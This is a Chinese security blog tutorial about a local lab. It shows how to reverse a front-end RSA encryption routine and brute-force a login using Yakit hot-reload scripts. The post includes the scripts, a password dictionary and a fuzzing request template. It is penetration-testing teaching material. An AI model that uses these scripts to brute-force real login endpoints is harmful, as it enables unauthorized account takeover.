yakit 通过codec 解决RSA加密

admin 2025年4月6日19:38:14评论0 views字数 4244阅读14分8秒阅读模式
yakit 通过codec 解决RSA加密

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢

yakit 通过codec 解决RSA加密

前言

靶场就不过多叙述,具体的可以看yakit系列的前几篇文章。
本篇文章主要内容:

  • • yakit 热加载进行 RSA 加密
  • • 如何显示想要的payloads

结果展示

成功通过 web fuzzer 对进行了rsa加密的接口进行爆破

yakit 通过codec 解决RSA加密

加解密过程

前端加密分析

访问 http://192.168.56.32:82/

RSA 加密

yakit 通过codec 解决RSA加密

在history中,查看数据包,参数被rsa加密 data

yakit 通过codec 解决RSA加密

浏览器分析代码

yakit 通过codec 解决RSA加密

source 全局搜索关键词

yakit 通过codec 解决RSA加密

寻找发包点,定位加密地点
下断点,点击按钮

yakit 通过codec 解决RSA加密

_0xc4a2fd 传入的是加密后的data,向上追,找到_0x4c2fb7中是明文data

yakit 通过codec 解决RSA加密
{"username":"admin","password":"admin"}

定位加密函数

yakit 通过codec 解决RSA加密
_0x2eaef7['encrypt'](data)

加密过程

_0x3e25e1 = 'n-----BEGIN PUBLIC KEY-----nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvinNH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlMnDSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3CbnocDbsNeCwNpRxwjIdQIDAQABn-----END PUBLIC KEY-----n  '
_0x2eaef7 = new JSEncrypt();
_0x2eaef7['setPublicKey'](data);

yakit 构造RSA加密函数

在放置公钥在热加载前,我们现在codec模块,测试一下具体的加密方法,避免热加载的时候一头雾水,解决不了报错

yakit 通过codec 解决RSA加密

yakit的codec模块和cyberchef很像,是拖动的,将加密后的data发送到后端

yakit 通过codec 解决RSA加密

没出现解密失败的报错,说明后端成功解密接收了。

由此,我们可知加密办法是 codec.RSADecryptWithPKCS1v15

注意点
我们从浏览器拿到的公钥是这样的

n-----BEGIN PUBLIC KEY-----nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvinNH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlMnDSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3CbnocDbsNeCwNpRxwjIdQIDAQABn-----END PUBLIC KEY-----n  

需要将 n 替换为回车,对格式进行转换,如下:

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi
NH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM
DSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb
ocDbsNeCwNpRxwjIdQIDAQAB
-----END PUBLIC KEY-----

热加载代码模板

热加载中有代码模板

yakit 通过codec 解决RSA加密

作用:以笛卡尔积生成爆破字典,对结果进行RSA 公钥加密

配置热加载

yakit 通过codec 解决RSA加密
decode2 = func(param) {
    publicKey = `-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi
NH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM
DSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb
ocDbsNeCwNpRxwjIdQIDAQAB
-----END PUBLIC KEY-----` /* base64格式的publicKey */


    usernameDict = ["admin"] /* 用户字典 */
    passwordDict = ["admin", "123456", "admin123", "88888888", "666666"] /* 密码字典 */
    resultList = []
    for username in usernameDict {
        for password in passwordDict {
            m = {"username":username,"password":password} /* 这里替换为你需要的格式 */
            jsonInput = json.dumps(m)
            result = codec.RSAEncryptWithPKCS1v15(publicKey , jsonInput)~
            base64Result = codec.EncodeBase64(result)
            base64Result = codec.EscapeUrl(base64Result)
            resultList.Append(base64Result)
        }
    }
    return resultList
}

-注意点

yakit 通过codec 解决RSA加密

我们可以看到,发送到后端的data再最后进行了URL编码。所以我们在热加载里也要添加相关内容,不然后端就会解密失败。

  • • base64Result = codec.EscapeUrl(base64Result)

调试执行

yakit 通过codec 解决RSA加密

点击保存,配置fuzz tag

yakit 通过codec 解决RSA加密

发送成功。

问题

但是,有一个问题,我们看不到payload中的账号和密码,后面肯定不方便。如果有知道怎么配置的师傅可以留言。
但是我翻阅yakit的文档,也没找到在哪里配置payloads的显示内容。
但所谓只要思想不滑坡,办法总比困难多。
我找到了一个不是办法的办法。

解决办法

我们通过热加载的beforerequest调用函数,这样就能看见了。
具体的代码如下:
热加载:

decode2 = func(jsonInput) {
    publicKey = `-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvA7giwinEkaTYllDYCkzujvi
NH+up0XAKXQot8RixKGpB7nr8AdidEvuo+wVCxZwDK3hlcRGrrqt0Gxqwc11btlM
DSj92Mr3xSaJcshZU8kfj325L8DRh9jpruphHBfh955ihvbednGAvOHOrz3Qy3Cb
ocDbsNeCwNpRxwjIdQIDAQAB
-----END PUBLIC KEY-----`/* base64格式的publicKey */    

    result = codec.RSAEncryptWithPKCS1v15(publicKey, jsonInput)~
    base64Result = codec.EncodeBase64(result)
    base64Result = codec.EscapeUrl(base64Result)

    return base64Result
}

// beforeRequest 允许在每次发送数据包前对请求做最后的处理,定义为 func(https bool, originReq []byte, req []byte) []byte
// https 请求是否为https请求
// originReq 原始请求
// req 请求
beforeRequest = func(https, originReq, req) {
// 我们可以将请求进行一定的修改
    password = poc.GetHTTPPacketPostParam(
        req, 
        "data", 
    )
    username = poc.GetHTTPPacketPostParam(
        req, 
        "username", 
    )
    m = {"username": username, "password": password}/* 这里替换为你需要的格式 */    
    jsonInput = json.dumps(m)
    dataEnc = decode2(jsonInput)
    req = poc.ReplaceHTTPPacketBody(req /*type: []byte*/, "data=" + dataEnc)
    return []byte(req)
}

修改了一部分代码

  • • 我们将需要传入的参数写在请求体中,接着热加载接收这些参数,拼接成json,加密。最后将结果替换到请求体中。
  • • poc.ReplaceHTTPPacketBody 会将请求体的内容全部替换。
    yakit 通过codec 解决RSA加密

请求包

POST /encrypt/rsa.php HTTP/1.1
Host: 192.168.56.32:82
Referer: http://192.168.56.32:82/
Accept-Language: zh-CN,zh;q=0.9
Origin: http://192.168.56.32:82
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 193

data={{payload(pass_top25)}}&username={{payload(user_top10)}}

结果成功打印payloads

yakit 通过codec 解决RSA加密

原文始发于微信公众号(进击的HACK):yakit 通过codec 解决RSA加密

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月6日19:38:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   yakit 通过codec 解决RSA加密https://cn-sec.com/archives/3920193.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息